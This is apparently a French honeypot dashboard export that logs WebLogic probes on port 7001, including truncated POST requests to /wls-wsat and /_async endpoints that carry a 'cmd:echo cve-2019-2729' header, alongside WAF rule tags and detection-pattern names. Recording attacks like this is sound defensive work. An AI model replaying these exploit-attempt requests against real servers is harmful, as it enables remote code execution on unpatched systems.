"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
],
"behavior_alert_count": 1,
"behavior_priority": 84
}
24/07/2026 09:39:07 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
��!N"�O7 4n��Xi����r$� ��H�h�,% ��X�� � ���� Q���Ef�E{�Rl�Z��� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
��!N"�O7 4n��Xi����r$� ��H�h�,% ��X�� �
���� Q���Ef�E{�Rl�Z��� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
��!N"�O7 4n��Xi����r$� ��H�h�,% ��X�� � ���� Q���Ef�E{�Rl�Z��� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.987506289359441,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "84fb3dc48af08300c3994e16294d31f5",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd!N\"\ufffdO7 4n\ufffd\ufffdXi\ufffd\ufffd\u0010\ufffd\ufffdr$\ufffd\u001f\ufffd\ufffdH\u0003\ufffdh\ufffd,% \ufffd\ufffdX\ufffd\ufffd \ufffd\n\ufffd\ufffd\ufffd\u0014\ufffd\u001cQ\ufffd\ufffd\ufffdE\u0011f\ufffdE{\ufffdRl\ufffdZ\ufffd\ufffd\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd!N\"\ufffdO7 4n\ufffd\ufffdXi\ufffd\ufffd\u0010\ufffd\ufffdr$\ufffd\u001f\ufffd\ufffdH\u0003\ufffdh\ufffd,% \ufffd\ufffdX\ufffd\ufffd \ufffd\n\ufffd\ufffd\ufffd\u0014\ufffd\u001cQ\ufffd\ufffd\ufffdE\u0011f\ufffdE{\ufffdRl\ufffdZ\ufffd\ufffd\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd!N\"\ufffdO7 4n\ufffd\ufffdXi\ufffd\ufffd\u0010\ufffd\ufffdr$\ufffd\u001f\ufffd\ufffdH\u0003\ufffdh\ufffd,% \ufffd\ufffdX\ufffd\ufffd \ufffd\n\ufffd\ufffd\ufffd\u0014\ufffd\u001cQ\ufffd\ufffd\ufffdE\u0011f\ufffdE{\ufffdRl\ufffdZ\ufffd\ufffd\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "036d284f97f624ad9cc93a41952eefaf96b5526e",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd!N\"\ufffdO7 4n\ufffd\ufffdXi\ufffd\ufffd\u0010\ufffd\ufffdr$\ufffd\u001f\ufffd\ufffdH\u0003\ufffdh\ufffd,% \ufffd\ufffdX\ufffd\ufffd \ufffd\n\ufffd\ufffd\ufffd\u0014\ufffd\u001cQ\ufffd\ufffd\ufffdE\u0011f\ufffdE{\ufffdRl\ufffdZ\ufffd\ufffd\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd\ufffd!N\"\ufffdO7 4n\ufffd\ufffdXi\ufffd\ufffd\ufffd\ufffdr$\ufffd\ufffd\ufffdH\ufffdh\ufffd,% \ufffd\ufffdX\ufffd\ufffd \ufffd\n\ufffd\ufffd\ufffd\ufffdQ\ufffd\ufffd\ufffdEf\ufffdE{\ufffdRl\ufffdZ\ufffd\ufffd\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd!N\"\ufffdO7 4n\ufffd\ufffdXi\ufffd\ufffd\u0010\ufffd\ufffdr$\ufffd\u001f\ufffd\ufffdH\u0003\ufffdh\ufffd,% \ufffd\ufffdX\ufffd\ufffd \ufffd\n\ufffd\ufffd\ufffd\u0014\ufffd\u001cQ\ufffd\ufffd\ufffdE\u0011f\ufffdE{\ufffdRl\ufffdZ\ufffd\ufffd\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd!N\"\ufffdO7 4n\ufffd\ufffdXi\ufffd\ufffd\ufffd\ufffdr$\ufffd\ufffd\ufffdH\ufffdh\ufffd,% \ufffd\ufffdX\ufffd\ufffd \ufffd\n\ufffd\ufffd\ufffd\ufffdQ\ufffd\ufffd\ufffdEf\ufffdE{\ufffdRl\ufffdZ\ufffd\ufffd\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:39:07 UTC
TCP
7001 · HTTP
Sonde HTTP smuggling
http smuggling probe · via HTTP:7001 · (tentative d'exploit) · → /wls-wsat/CoordinatorPortType
Élevée
Élevé · 80
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
POST /wls-wsat/CoordinatorPortType UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
53
Recommandation
Investiguer
Tags
950079:sqli-19
950319:lfi-14
950326:rce-0
950327:rce-0
Cible HTTP
POST
/wls-wsat/CoordinatorPortType
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
7001
Chemin / cible
/wls-wsat/CoordinatorPortType
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
100%
Corrélation +8
Risque capteur
Élevé
· 80
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1 Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
WebLogic wls-wsat
Ligne de requête
POST /wls-wsat/CoordinatorPortType HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
sqli-19
lfi-14
rce-0
ssrf-3
nosqli-3
Payload (extrait)
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.
Requête brute (extrait)
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Type:text/xml cmd:echo cve-2019-2729 Content-Length:166090 <?xml version="1.0" enco
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "99e47b274371fad76141ed1627f3bcdf29dce19a",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 2820,
"payload_entropy": 4.811012252429587,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 7.2,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 80,
"tag_count": 13,
"anomaly_count": 0,
"campaign_key": "d2e304c58e5574d46a11e402b09e0dcd2550f6c4",
"event_fingerprint": "e444dfd56f7cf7dfce78a017248baf6c57b64aa5",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0602"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"WebLogic wls-wsat"
],
"pattern_ids": [
"pat-0842",
"pat-0602"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "351ab26954f90a783e6de449bc97ba31",
"path_pattern_hash": "16111671401e187b64b702a8ecb56bdf"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 80
},
"payload_preview": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"method": "POST",
"path": "\/wls-wsat\/CoordinatorPortType",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"sqli-19",
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"request_sample": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\ncmd:echo cve-2019-2729\r\nContent-Length:166090\r\n\r\n<?xml version=\"1.0\" enco",
"payload_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"evidence": {
"method": "POST",
"path": "\/wls-wsat\/CoordinatorPortType",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"sqli-19",
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"request_sample": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\ncmd:echo cve-2019-2729\r\nContent-Length:166090\r\n\r\n<?xml version=\"1.0\" enco",
"payload_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "1d7282eb2cc112b431943180d50d0e4ac0750b4e",
"protocol_details": {
"http_method": "POST",
"http_path": "\/wls-wsat\/CoordinatorPortType",
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wls-wsat\/CoordinatorPortType",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 80\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 80,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "POST",
"http_path": "\/wls-wsat\/CoordinatorPortType",
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wls-wsat\/CoordinatorPortType",
"evidence_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"http_contenttype_attack_surface",
"http_jwt_body",
"http_probe_weblogic_wls",
"http_ssrf_body",
"net_web_probe"
]
}
24/07/2026 09:39:07 UTC
TCP
7001 · HTTP
Sonde HTTP smuggling
http smuggling probe · via HTTP:7001 · (tentative d'exploit) · → /_async/AsyncResponseService
Élevée
Élevé · 80
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
POST /_async/AsyncResponseService UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
53
Recommandation
Investiguer
Tags
950079:sqli-19
950319:lfi-14
950326:rce-0
950327:rce-0
Cible HTTP
POST
/_async/AsyncResponseService
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
7001
Chemin / cible
/_async/AsyncResponseService
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
100%
Corrélation +8
Risque capteur
Élevé
· 80
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1 Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CVE-2019-2725 WebLogic CVE-2019-2725
CRS 941130
Ligne de requête
POST /_async/AsyncResponseService HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
sqli-19
lfi-14
rce-0
ssrf-3
nosqli-3
Payload (extrait)
POST /_async/AsyncResponseService HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0
Requête brute (extrait)
POST /_async/AsyncResponseService HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Type:text/xml cmd:echo cve-2019-2729 Content-Length:146384 <soapenv:Envelope xmlns:s
Meta JSON brut
{
"protocol_emulated": true,
